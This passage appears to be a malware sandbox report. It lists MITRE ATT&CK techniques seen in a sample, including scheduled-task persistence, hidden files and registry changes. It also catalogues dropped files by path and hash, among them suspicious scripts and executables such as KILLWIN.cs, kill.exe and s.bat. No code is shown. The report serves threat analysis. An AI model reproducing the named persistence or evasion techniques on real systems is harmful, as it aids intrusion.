                                                                                                                                                                      1
                                                                                                                                                                      T1053.005

                                                                                                                                                                      Persistence

                                                                                                                                                                      Boot or Logon Autostart Execution

                                                                                                                                                                      1
                                                                                                                                                                      T1547

                                                                                                                                                                      Active Setup

                                                                                                                                                                      1
                                                                                                                                                                      T1547.014

                                                                                                                                                                      Scheduled Task/Job

                                                                                                                                                                      1
                                                                                                                                                                      T1053

                                                                                                                                                                      Scheduled Task

                                                                                                                                                                      1
                                                                                                                                                                      T1053.005

                                                                                                                                                                      Privilege Escalation

                                                                                                                                                                      Boot or Logon Autostart Execution

                                                                                                                                                                      1
                                                                                                                                                                      T1547

                                                                                                                                                                      Active Setup

                                                                                                                                                                      1
                                                                                                                                                                      T1547.014

                                                                                                                                                                      Scheduled Task/Job

                                                                                                                                                                      1
                                                                                                                                                                      T1053

                                                                                                                                                                      Scheduled Task

                                                                                                                                                                      1
                                                                                                                                                                      T1053.005

                                                                                                                                                                      Defense Evasion

                                                                                                                                                                      File and Directory Permissions Modification

                                                                                                                                                                      2
                                                                                                                                                                      T1222

                                                                                                                                                                      Windows File and Directory Permissions Modification

                                                                                                                                                                      1
                                                                                                                                                                      T1222.001

                                                                                                                                                                      Hide Artifacts

                                                                                                                                                                      2
                                                                                                                                                                      T1564

                                                                                                                                                                      Hidden Files and Directories

                                                                                                                                                                      2
                                                                                                                                                                      T1564.001

                                                                                                                                                                      Indicator Removal

                                                                                                                                                                      1
                                                                                                                                                                      T1070

                                                                                                                                                                      Network Share Connection Removal

                                                                                                                                                                      1
                                                                                                                                                                      T1070.005

                                                                                                                                                                      Modify Registry

                                                                                                                                                                      2
                                                                                                                                                                      T1112

                                                                                                                                                                      Credential Access

                                                                                                                                                                      Discovery

                                                                                                                                                                      Peripheral Device Discovery

                                                                                                                                                                      2
                                                                                                                                                                      T1120

                                                                                                                                                                      Query Registry

                                                                                                                                                                      4
                                                                                                                                                                      T1012

                                                                                                                                                                      Remote System Discovery

                                                                                                                                                                      1
                                                                                                                                                                      T1018

                                                                                                                                                                      System Information Discovery

                                                                                                                                                                      4
                                                                                                                                                                      T1082

                                                                                                                                                                      System Location Discovery

                                                                                                                                                                      1
                                                                                                                                                                      T1614

                                                                                                                                                                      System Language Discovery

                                                                                                                                                                      1
                                                                                                                                                                      T1614.001

                                                                                                                                                                      System Network Configuration Discovery

                                                                                                                                                                      1
                                                                                                                                                                      T1016

                                                                                                                                                                      Internet Connection Discovery

                                                                                                                                                                      1
                                                                                                                                                                      T1016.001

                                                                                                                                                                      Lateral Movement

                                                                                                                                                                      Collection

                                                                                                                                                                      Command and Control

                                                                                                                                                                      Exfiltration

                                                                                                                                                                      Impact

                                                                                                                                                                      Replay Monitor

                                                                                                                                                                      Loading Replay Monitor...

                                                                                                                                                                      Downloads

                                                                                                                                                                      microsoft.windows[1].xml
                                                                                                                                                                      • Path C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\Microsoft\Internet Explorer\DOMStore\YCLWQ4BV\microsoft.windows[1].xml
                                                                                                                                                                      • Size 97B
                                                                                                                                                                      • SHA256 70687e419879f006d0c50c08657c66b1187b94ea216cfe0a2e6be8bd2de77bc8
                                                                                                                                                                      • MD5 SHA1 SHA512
                                                                                                                                                                      Submit Download

                                                                                                                                                                      AppCache133760682196846597.txt
                                                                                                                                                                      • Path C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133760682196846597.txt
                                                                                                                                                                      • Size 73KB
                                                                                                                                                                      • SHA256 ca7a49706055df15b0d7f15795ca9846c18f76f20ce135c039f99096bf164b71
                                                                                                                                                                      • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                                                      Submit Download

                                                                                                                                                                      AppxProvider.dll
                                                                                                                                                                      • Path C:\Users\Admin\AppData\Local\Temp\222607A2-1174-4347-A78B-52F7065AE360\AppxProvider.dll
                                                                                                                                                                      • Size 554KB
                                                                                                                                                                      • SHA256 913f97dd219eeb7d5f7534361037fe1ecc3a637eb48d67b1c8afa8b5f951ba2f
                                                                                                                                                                      • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                                                      Submit Download

                                                                                                                                                                      AssocProvider.dll
                                                                                                                                                                      • Path C:\Users\Admin\AppData\Local\Temp\222607A2-1174-4347-A78B-52F7065AE360\AssocProvider.dll
                                                                                                                                                                      • Size 112KB
                                                                                                                                                                      • SHA256 dc6a5930c2b9a11204d2e22a3e8d14c28e5bdac548548e256ba7ffa79bd8c907
                                                                                                                                                                      • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                                                      Submit Download

                                                                                                                                                                      CbsProvider.dll
                                                                                                                                                                      • Path C:\Users\Admin\AppData\Local\Temp\222607A2-1174-4347-A78B-52F7065AE360\CbsProvider.dll
                                                                                                                                                                      • Size 875KB
                                                                                                                                                                      • SHA256 4c9a4ab6596626482dd2190034fcb3fafebe88a961423962ad577e873ef5008f
                                                                                                                                                                      • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                                                      Submit Download

                                                                                                                                                                      DismCore.dll
                                                                                                                                                                      • Path C:\Users\Admin\AppData\Local\Temp\222607A2-1174-4347-A78B-52F7065AE360\DismCore.dll
                                                                                                                                                                      • Size 402KB
                                                                                                                                                                      • SHA256 af7f342adf5b533ea6978b68064f39bfb1e4ad3b572ae1b7f2287f5533334d4e
                                                                                                                                                                      • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                                                      Submit Download

                                                                                                                                                                      DismCorePS.dll
                                                                                                                                                                      • Path C:\Users\Admin\AppData\Local\Temp\222607A2-1174-4347-A78B-52F7065AE360\DismCorePS.dll
                                                                                                                                                                      • Size 183KB
                                                                                                                                                                      • SHA256 e3b3a4c9c6403cb8b0aa12d34915b67e4eaa5bb911e102cf77033aa315d66a1e
                                                                                                                                                                      • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                                                      Submit Download

                                                                                                                                                                      DismHost.exe
                                                                                                                                                                      • Path C:\Users\Admin\AppData\Local\Temp\222607A2-1174-4347-A78B-52F7065AE360\DismHost.exe
                                                                                                                                                                      • Size 142KB
                                                                                                                                                                      • SHA256 e30508e2088bc16b2a84233ced64995f738deaef2366ac6c86b35c93bbcd9d80
                                                                                                                                                                      • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                                                      Submit Download

                                                                                                                                                                      DmiProvider.dll
                                                                                                                                                                      • Path C:\Users\Admin\AppData\Local\Temp\222607A2-1174-4347-A78B-52F7065AE360\DmiProvider.dll
                                                                                                                                                                      • Size 415KB
                                                                                                                                                                      • SHA256 04f851b9d5e58ed002ad768bdcc475f22905fb1dab8341e9b3128df6eaa25b98
                                                                                                                                                                      • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                                                      Submit Download

                                                                                                                                                                      FfuProvider.dll
                                                                                                                                                                      • Path C:\Users\Admin\AppData\Local\Temp\222607A2-1174-4347-A78B-52F7065AE360\FfuProvider.dll
                                                                                                                                                                      • Size 619KB
                                                                                                                                                                      • SHA256 56cc8d139be12e969fff3bbf47b1f5c62c3db887e3fb97c79cf7d285076f9271
                                                                                                                                                                      • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                                                      Submit Download

                                                                                                                                                                      FolderProvider.dll
                                                                                                                                                                      • Path C:\Users\Admin\AppData\Local\Temp\222607A2-1174-4347-A78B-52F7065AE360\FolderProvider.dll
                                                                                                                                                                      • Size 59KB
                                                                                                                                                                      • SHA256 a235317ab7ed89e6530844a78b933d50f6f48ea5df481de158eb99dd8c4ba461
                                                                                                                                                                      • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                                                      Submit Download

                                                                                                                                                                      GenericProvider.dll
                                                                                                                                                                      • Path C:\Users\Admin\AppData\Local\Temp\222607A2-1174-4347-A78B-52F7065AE360\GenericProvider.dll
                                                                                                                                                                      • Size 149KB
                                                                                                                                                                      • SHA256 d39f38402a9309ddd1cba67be470ede348f2bc1bab2f8d565e8f15510761087a
                                                                                                                                                                      • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                                                      Submit Download

                                                                                                                                                                      IBSProvider.dll
                                                                                                                                                                      • Path C:\Users\Admin\AppData\Local\Temp\222607A2-1174-4347-A78B-52F7065AE360\IBSProvider.dll
                                                                                                                                                                      • Size 59KB
                                                                                                                                                                      • SHA256 5425382aaa32ffc133adb6458ff516db0e2ad60fac52dd595d53c370f4ba6fa0
                                                                                                                                                                      • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                                                      Submit Download

                                                                                                                                                                      ImagingProvider.dll
                                                                                                                                                                      • Path C:\Users\Admin\AppData\Local\Temp\222607A2-1174-4347-A78B-52F7065AE360\ImagingProvider.dll
                                                                                                                                                                      • Size 218KB
                                                                                                                                                                      • SHA256 874137ee906f91285b9a018735683a0dd21bdeaf2e340cbc54296551ccf8be2d
                                                                                                                                                                      • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                                                      Submit Download

                                                                                                                                                                      IntlProvider.dll
                                                                                                                                                                      • Path C:\Users\Admin\AppData\Local\Temp\222607A2-1174-4347-A78B-52F7065AE360\IntlProvider.dll
                                                                                                                                                                      • Size 296KB
                                                                                                                                                                      • SHA256 1bb39f3389aa4258a923fa265afa2279688e6cdb14ff771f1621a56b03ddcf52
                                                                                                                                                                      • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                                                      Submit Download

                                                                                                                                                                      LogProvider.dll
                                                                                                                                                                      • Path C:\Users\Admin\AppData\Local\Temp\222607A2-1174-4347-A78B-52F7065AE360\LogProvider.dll
                                                                                                                                                                      • Size 77KB
                                                                                                                                                                      • SHA256 a9c8787c79a952779eca82e7389cf5bbde7556e4491b8bfcfd6617740ac7d8a2
                                                                                                                                                                      • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                                                      Submit Download

                                                                                                                                                                      MsiProvider.dll
                                                                                                                                                                      • Path C:\Users\Admin\AppData\Local\Temp\222607A2-1174-4347-A78B-52F7065AE360\MsiProvider.dll
                                                                                                                                                                      • Size 207KB
                                                                                                                                                                      • SHA256 7ff3939e1ef015da8c9577af4edfdd46f0029a2cfe4e3dac574d3175516e095f
                                                                                                                                                                      • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                                                      Submit Download

                                                                                                                                                                      OSProvider.dll
                                                                                                                                                                      • Path C:\Users\Admin\AppData\Local\Temp\222607A2-1174-4347-A78B-52F7065AE360\OSProvider.dll
                                                                                                                                                                      • Size 149KB
                                                                                                                                                                      • SHA256 2165d567aa47264abe2a866bb1bcb01a1455a75a6ea530b1b9a4dda54d08f758
                                                                                                                                                                      • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                                                      Submit Download

                                                                                                                                                                      OfflineSetupProvider.dll
                                                                                                                                                                      • Path C:\Users\Admin\AppData\Local\Temp\222607A2-1174-4347-A78B-52F7065AE360\OfflineSetupProvider.dll
                                                                                                                                                                      • Size 182KB
                                                                                                                                                                      • SHA256 b38d322af8e614cc54299effd2164247c75bd7e68e0eb1a428376fcedaca9a6f
                                                                                                                                                                      • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                                                      Submit Download

                                                                                                                                                                      ProvProvider.dll
                                                                                                                                                                      • Path C:\Users\Admin\AppData\Local\Temp\222607A2-1174-4347-A78B-52F7065AE360\ProvProvider.dll
                                                                                                                                                                      • Size 753KB
                                                                                                                                                                      • SHA256 a3e652c0bbe2082f2e0290da73485fb2c6e35c33ac60daa51a65f8c782dbd7a7
                                                                                                                                                                      • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                                                      Submit Download

                                                                                                                                                                      SetupPlatformProvider.dll
                                                                                                                                                                      • Path C:\Users\Admin\AppData\Local\Temp\222607A2-1174-4347-A78B-52F7065AE360\SetupPlatformProvider.dll
                                                                                                                                                                      • Size 159KB
                                                                                                                                                                      • SHA256 367e73f97318b6663018a83a11019147e67b62ab83988730ebbda93984664dd3
                                                                                                                                                                      • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                                                      Submit Download

                                                                                                                                                                      SmiProvider.dll
                                                                                                                                                                      • Path C:\Users\Admin\AppData\Local\Temp\222607A2-1174-4347-A78B-52F7065AE360\SmiProvider.dll
                                                                                                                                                                      • Size 246KB
                                                                                                                                                                      • SHA256 ac1e7407317859981d253fd9d977e246a4d0da24572c45efe0ade1745376bffb
                                                                                                                                                                      • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                                                      Submit Download

                                                                                                                                                                      SysprepProvider.dll
                                                                                                                                                                      • Path C:\Users\Admin\AppData\Local\Temp\222607A2-1174-4347-A78B-52F7065AE360\SysprepProvider.dll
                                                                                                                                                                      • Size 778KB
                                                                                                                                                                      • SHA256 f9b4d0afe87f434e8319556961b292ddc7d3a8c6fc06b8a08a50b5a96e28a204
                                                                                                                                                                      • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                                                      Submit Download

                                                                                                                                                                      TransmogProvider.dll
                                                                                                                                                                      • Path C:\Users\Admin\AppData\Local\Temp\222607A2-1174-4347-A78B-52F7065AE360\TransmogProvider.dll
                                                                                                                                                                      • Size 1.3MB
                                                                                                                                                                      • SHA256 943ea79ccbbb9790723f411720777af386acc03efab709ac2cbfeb7bd040a3e4
                                                                                                                                                                      • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                                                      Submit Download

                                                                                                                                                                      UnattendProvider.dll
                                                                                                                                                                      • Path C:\Users\Admin\AppData\Local\Temp\222607A2-1174-4347-A78B-52F7065AE360\UnattendProvider.dll
                                                                                                                                                                      • Size 228KB
                                                                                                                                                                      • SHA256 05da5af89fafe492adf5255a7dbf16468be6d130ee8a9d713ab2182c72346db0
                                                                                                                                                                      • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                                                      Submit Download

                                                                                                                                                                      VhdProvider.dll
                                                                                                                                                                      • Path C:\Users\Admin\AppData\Local\Temp\222607A2-1174-4347-A78B-52F7065AE360\VhdProvider.dll
                                                                                                                                                                      • Size 560KB
                                                                                                                                                                      • SHA256 4ed23b46188dae12523f96a2755434c0574cd27584f9921133b0b4c1017b8a36
                                                                                                                                                                      • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                                                      Submit Download

                                                                                                                                                                      WimProvider.dll
                                                                                                                                                                      • Path C:\Users\Admin\AppData\Local\Temp\222607A2-1174-4347-A78B-52F7065AE360\WimProvider.dll
                                                                                                                                                                      • Size 589KB
                                                                                                                                                                      • SHA256 8b7821a1fb9170c6aa1ec25eea378f43661812eba25064bb95999156b472c377
                                                                                                                                                                      • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                                                      Submit Download

                                                                                                                                                                      dismprov.dll
                                                                                                                                                                      • Path C:\Users\Admin\AppData\Local\Temp\222607A2-1174-4347-A78B-52F7065AE360\dismprov.dll
                                                                                                                                                                      • Size 255KB
                                                                                                                                                                      • SHA256 ef1e263e1bcc05d9538cb9469dd7dba5093956aa325479c3d2607168cc1c000a
                                                                                                                                                                      • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                                                      Submit Download

                                                                                                                                                                      AppxProvider.dll.mui
                                                                                                                                                                      • Path C:\Users\Admin\AppData\Local\Temp\222607A2-1174-4347-A78B-52F7065AE360\en-US\AppxProvider.dll.mui
                                                                                                                                                                      • Size 22KB
                                                                                                                                                                      • SHA256 8af0073f8a023f55866e48bf3b902dfa7f41c51b0e8b0fe06f8c496d41f9a7b3
                                                                                                                                                                      • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                                                      Submit Download

                                                                                                                                                                      AssocProvider.dll.mui
                                                                                                                                                                      • Path C:\Users\Admin\AppData\Local\Temp\222607A2-1174-4347-A78B-52F7065AE360\en-US\AssocProvider.dll.mui
                                                                                                                                                                      • Size 8KB
                                                                                                                                                                      • SHA256 b18c6ce1558c9ef6942a3bce246a46557c2a7d12aec6c4a07e4fa84dd5c422f5
                                                                                                                                                                      • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                                                      Submit Download

                                                                                                                                                                      CbsProvider.dll.mui
                                                                                                                                                                      • Path C:\Users\Admin\AppData\Local\Temp\222607A2-1174-4347-A78B-52F7065AE360\en-US\CbsProvider.dll.mui
                                                                                                                                                                      • Size 53KB
                                                                                                                                                                      • SHA256 d7a0253d6586e7bbfb0acb6facd9a326b32ba1642b458f5b5ed27feccb4fc199
                                                                                                                                                                      • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                                                      Submit Download

                                                                                                                                                                      DismCore.dll.mui
                                                                                                                                                                      • Path C:\Users\Admin\AppData\Local\Temp\222607A2-1174-4347-A78B-52F7065AE360\en-US\DismCore.dll.mui
                                                                                                                                                                      • Size 7KB
                                                                                                                                                                      • SHA256 f91e3c35b472f95d7b1ae3dc83f9d6bfde33515aa29e8b310f55d9fe66466419
                                                                                                                                                                      • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                                                      Submit Download

                                                                                                                                                                      DmiProvider.dll.mui
                                                                                                                                                                      • Path C:\Users\Admin\AppData\Local\Temp\222607A2-1174-4347-A78B-52F7065AE360\en-US\DmiProvider.dll.mui
                                                                                                                                                                      • Size 17KB
                                                                                                                                                                      • SHA256 73709c25dc5300a435e53df97fc01a7dc184b56796cae48ee728d54d26076d6c
                                                                                                                                                                      • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                                                      Submit Download

                                                                                                                                                                      FfuProvider.dll.mui
                                                                                                                                                                      • Path C:\Users\Admin\AppData\Local\Temp\222607A2-1174-4347-A78B-52F7065AE360\en-US\FfuProvider.dll.mui
                                                                                                                                                                      • Size 9KB
                                                                                                                                                                      • SHA256 ba6695148f96a5d45224324006ae29becfd2a6aa1de947e27371a4eb84e7451a
                                                                                                                                                                      • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                                                      Submit Download

                                                                                                                                                                      FolderProvider.dll.mui
                                                                                                                                                                      • Path C:\Users\Admin\AppData\Local\Temp\222607A2-1174-4347-A78B-52F7065AE360\en-US\FolderProvider.dll.mui
                                                                                                                                                                      • Size 2KB
                                                                                                                                                                      • SHA256 c81a992ecebd9260ff34e41383aaca1c64a9fa4706a4744ac814f0f5daa1e105
                                                                                                                                                                      • MD5 SHA1 SHA512
                                                                                                                                                                      Submit Download

                                                                                                                                                                      GenericProvider.dll.mui
                                                                                                                                                                      • Path C:\Users\Admin\AppData\Local\Temp\222607A2-1174-4347-A78B-52F7065AE360\en-US\GenericProvider.dll.mui
                                                                                                                                                                      • Size 5KB
                                                                                                                                                                      • SHA256 9102fa05ed98d902bf6e95b74fdbb745399d4ce4536a29607b2156a0edfeddf0
                                                                                                                                                                      • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                                                      Submit Download

                                                                                                                                                                      IBSProvider.dll.mui
                                                                                                                                                                      • Path C:\Users\Admin\AppData\Local\Temp\222607A2-1174-4347-A78B-52F7065AE360\en-US\IBSProvider.dll.mui
                                                                                                                                                                      • Size 2KB
                                                                                                                                                                      • SHA256 4ccfe7883bce7785b1387ad3872230159899a5337d30a2f81a937b74bcbc4ce5
                                                                                                                                                                      • MD5 SHA1 SHA512
                                                                                                                                                                      Submit Download

                                                                                                                                                                      ImagingProvider.dll.mui
                                                                                                                                                                      • Path C:\Users\Admin\AppData\Local\Temp\222607A2-1174-4347-A78B-52F7065AE360\en-US\ImagingProvider.dll.mui
                                                                                                                                                                      • Size 18KB
                                                                                                                                                                      • SHA256 32d8c8fb9a746be209db5c3bdad14f361cf2bef8144c32e5af419c28efd35da3
                                                                                                                                                                      • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                                                      Submit Download

                                                                                                                                                                      IntlProvider.dll.mui
                                                                                                                                                                      • Path C:\Users\Admin\AppData\Local\Temp\222607A2-1174-4347-A78B-52F7065AE360\en-US\IntlProvider.dll.mui
                                                                                                                                                                      • Size 27KB
                                                                                                                                                                      • SHA256 aa43b64db4fdcd89e56ba5309f3ba2ffac2663ba30514e87c160687f4314221f
                                                                                                                                                                      • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                                                      Submit Download

                                                                                                                                                                      LogProvider.dll.mui
                                                                                                                                                                      • Path C:\Users\Admin\AppData\Local\Temp\222607A2-1174-4347-A78B-52F7065AE360\en-US\LogProvider.dll.mui
                                                                                                                                                                      • Size 6KB
                                                                                                                                                                      • SHA256 6e51af7cfda6be5419f89d6705c44587556a4abffd388020d7f19e007e122cd6
                                                                                                                                                                      • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                                                      Submit Download

                                                                                                                                                                      MsiProvider.dll.mui
                                                                                                                                                                      • Path C:\Users\Admin\AppData\Local\Temp\222607A2-1174-4347-A78B-52F7065AE360\en-US\MsiProvider.dll.mui
                                                                                                                                                                      • Size 15KB
                                                                                                                                                                      • SHA256 1ec7b04a8c25812db99abec82c7b7bf915ae3f7594c5d071231cafab9c1fa145
                                                                                                                                                                      • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                                                      Submit Download

                                                                                                                                                                      OSProvider.dll.mui
                                                                                                                                                                      • Path C:\Users\Admin\AppData\Local\Temp\222607A2-1174-4347-A78B-52F7065AE360\en-US\OSProvider.dll.mui
                                                                                                                                                                      • Size 3KB
                                                                                                                                                                      • SHA256 b6758aba17f6cd74923ca0976dd580222851ef6435cd16b3b2b04e85280ce706
                                                                                                                                                                      • MD5 SHA1 SHA512
                                                                                                                                                                      Submit Download

                                                                                                                                                                      OfflineSetupProvider.dll.mui
                                                                                                                                                                      • Path C:\Users\Admin\AppData\Local\Temp\222607A2-1174-4347-A78B-52F7065AE360\en-US\OfflineSetupProvider.dll.mui
                                                                                                                                                                      • Size 2KB
                                                                                                                                                                      • SHA256 692744ce4bba1e82ad1a91ab97eec2bac7146bc995e8e8ed59bc2c7d366af7ec
                                                                                                                                                                      • MD5 SHA1 SHA512
                                                                                                                                                                      Submit Download

                                                                                                                                                                      ProvProvider.dll.mui
                                                                                                                                                                      • Path C:\Users\Admin\AppData\Local\Temp\222607A2-1174-4347-A78B-52F7065AE360\en-US\ProvProvider.dll.mui
                                                                                                                                                                      • Size 4KB
                                                                                                                                                                      • SHA256 50ad19e21b6425d12aa57cd4656748877db1f147189ec44abb19ba90be8505ea
                                                                                                                                                                      • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                                                      Submit Download

                                                                                                                                                                      SetupPlatformProvider.dll.mui
                                                                                                                                                                      • Path C:\Users\Admin\AppData\Local\Temp\222607A2-1174-4347-A78B-52F7065AE360\en-US\SetupPlatformProvider.dll.mui
                                                                                                                                                                      • Size 5KB
                                                                                                                                                                      • SHA256 5d4dfc9bde18be1ec0b3834a65de6abab581e04c8c4f66ee14a62fb4b1b4cd06
                                                                                                                                                                      • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                                                      Submit Download

                                                                                                                                                                      SmiProvider.dll.mui
                                                                                                                                                                      • Path C:\Users\Admin\AppData\Local\Temp\222607A2-1174-4347-A78B-52F7065AE360\en-US\SmiProvider.dll.mui
                                                                                                                                                                      • Size 2KB
                                                                                                                                                                      • SHA256 a1a302e940f6d6718700737b787af7a2053ef68b5ea2ec61497e7ae2444c5835
                                                                                                                                                                      • MD5 SHA1 SHA512
                                                                                                                                                                      Submit Download

                                                                                                                                                                      SysprepProvider.dll.mui
                                                                                                                                                                      • Path C:\Users\Admin\AppData\Local\Temp\222607A2-1174-4347-A78B-52F7065AE360\en-US\SysprepProvider.dll.mui
                                                                                                                                                                      • Size 3KB
                                                                                                                                                                      • SHA256 4389362a9dc662aa3c7a1d830498472bc586e00f0d269a8541975a34b03a1aa4
                                                                                                                                                                      • MD5 SHA1 SHA512
                                                                                                                                                                      Submit Download

                                                                                                                                                                      TransmogProvider.dll.mui
                                                                                                                                                                      • Path C:\Users\Admin\AppData\Local\Temp\222607A2-1174-4347-A78B-52F7065AE360\en-US\TransmogProvider.dll.mui
                                                                                                                                                                      • Size 16KB
                                                                                                                                                                      • SHA256 a75288f9e83cccf2a6a644ff78e6c26dadd5772a2626f80120b81975664e7dab
                                                                                                                                                                      • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                                                      Submit Download

                                                                                                                                                                      UnattendProvider.dll.mui
                                                                                                                                                                      • Path C:\Users\Admin\AppData\Local\Temp\222607A2-1174-4347-A78B-52F7065AE360\en-US\UnattendProvider.dll.mui
                                                                                                                                                                      • Size 5KB
                                                                                                                                                                      • SHA256 11f7957b8cc57dd7176f62b0612e658d6588b7caa8be4db3a337953b02b98c24
                                                                                                                                                                      • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                                                      Submit Download

                                                                                                                                                                      VhdProvider.dll.mui
                                                                                                                                                                      • Path C:\Users\Admin\AppData\Local\Temp\222607A2-1174-4347-A78B-52F7065AE360\en-US\VhdProvider.dll.mui
                                                                                                                                                                      • Size 7KB
                                                                                                                                                                      • SHA256 2ba085379434b3f9fcb0c70c2bd02a7f4f0170e6160578a583eb42c8d333fab7
                                                                                                                                                                      • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                                                      Submit Download

                                                                                                                                                                      WimProvider.dll.mui
                                                                                                                                                                      • Path C:\Users\Admin\AppData\Local\Temp\222607A2-1174-4347-A78B-52F7065AE360\en-US\WimProvider.dll.mui
                                                                                                                                                                      • Size 27KB
                                                                                                                                                                      • SHA256 a9eebcb85a0271061ac620ff9d2a6d22332721c782aeb06ab1ccf1149bff2aa4
                                                                                                                                                                      • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                                                      Submit Download

                                                                                                                                                                      dismprov.dll.mui
                                                                                                                                                                      • Path C:\Users\Admin\AppData\Local\Temp\222607A2-1174-4347-A78B-52F7065AE360\en-US\dismprov.dll.mui
                                                                                                                                                                      • Size 2KB
                                                                                                                                                                      • SHA256 cf8cc85cdd12cf4a02df5274f8d0cdc625c6409fe80866b3052b7d5a862ac311
                                                                                                                                                                      • MD5 SHA1 SHA512
                                                                                                                                                                      Submit Download

                                                                                                                                                                      KILLWIN.cs
                                                                                                                                                                      • Path C:\Users\Admin\AppData\Local\Temp\mxbc\KILLWIN.cs
                                                                                                                                                                      • Size 915B
                                                                                                                                                                      • SHA256 5ed5133b5a436b8ad389bebbf1397bd7fde27afd3158836cdd8c5e2b2e1b0cf3
                                                                                                                                                                      • MD5 SHA1 SHA512
                                                                                                                                                                      Submit Download

                                                                                                                                                                      kill.exe
                                                                                                                                                                      • Path C:\Users\Admin\AppData\Local\Temp\mxbc\kill.exe
                                                                                                                                                                      • Size 316KB
                                                                                                                                                                      • SHA256 5c2742980fa8171d605a5c756af149efb247a3798a5617cef09068c986c193ce
                                                                                                                                                                      • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                                                      Submit Download

                                                                                                                                                                      killwin.exe
                                                                                                                                                                      • Path C:\Users\Admin\AppData\Local\Temp\mxbc\killwin.exe
                                                                                                                                                                      • Size 275KB
                                                                                                                                                                      • SHA256 24f7fd18cb4d260d65e037eedfbd0b7d7e14a795b826100e05fbfe49dff876b4
                                                                                                                                                                      • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                                                      Submit Download

                                                                                                                                                                      mmrg
                                                                                                                                                                      • Path C:\Users\Admin\AppData\Local\Temp\mxbc\mmrg
                                                                                                                                                                      • Size 12.0MB
                                                                                                                                                                      • SHA256 88faf069a603dec17b526cb1f5a7a6c7987356d67a3a1a8939cc060285dada37
                                                                                                                                                                      • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                                                      Submit Download

                                                                                                                                                                      s.bat
                                                                                                                                                                      • Path C:\Users\Admin\AppData\Local\Temp\mxbc\s.bat
                                                                                                                                                                      • Size 2KB
                                                                                                                                                                      • SHA256 eb08cbb4fe7e632c9b73ecaecd6cb59394ffb32e6860c41bfbd7ab3c9f9b37d2
                                                                                                                                                                      • MD5 SHA1 SHA512
                                                                                                                                                                      Submit Download

                                                                                                                                                                      sta.vbs
                                                                                                                                                                      • Path C:\Users\Admin\AppData\Local\Temp\mxbc\sta.vbs
                                                                                                                                                                      • Size 85B
                                                                                                                                                                      • SHA256 de1449afb4cb3fbce5dd659a67c54c5c390ab69289b8fc89f1625c56bffda163
                                                                                                                                                                      • MD5 SHA1 SHA512
                                                                                                                                                                      Submit Download

                                                                                                                                                                      start.bat
                                                                                                                                                                      • Path C:\Users\Admin\AppData\Local\Temp\mxbc\start.bat
                                                                                                                                                                      • Size 38B
                                                                                                                                                                      • SHA256 9dd69eede873ac95c7beb2e642ea12db9496c82b3843f610ee010d2e42102681
                                                                                                                                                                      • MD5 SHA1 SHA512
                                                                                                                                                                      Submit Download

                                                                                                                                                                      TranscodedWallpaper
                                                                                                                                                                      • Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Themes\TranscodedWallpaper
                                                                                                                                                                      • Size 254KB
                                                                                                                                                                      • SHA256 01eca4a402b2985f68c335609f1134bbbb7a6f1b395f7fd578329ce75822c797
                                                                                                                                                                      • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                                                      Submit Download

                                                                                                                                                                      dism.log
                                                                                                                                                                      • Path C:\Windows\Logs\DISM\dism.log
                                                                                                                                                                      • Size 2.1MB
                                                                                                                                                                      • SHA256 18ee26d2f8af8bd735254b56af24dcf2e0096356776dfad4920227f536ac11d0
                                                                                                                                                                      • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                                                      Submit Download

                                                                                                                                                                      dism.log
                                                                                                                                                                      • Path C:\Windows\Logs\DISM\dism.log
                                                                                                                                                                      • Size 2.1MB
                                                                                                                                                                      • SHA256 9a51ca10c94f3eec58c60d973392217830c54842edbf056e36fe0bc824b63289
                                                                                                                                                                      • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                                                      Submit Download

                                                                                                                                                                      memory/1428-455-0x000002AF38630000-0x000002AF38650000-memory.dmp
                                                                                                                                                                      Download

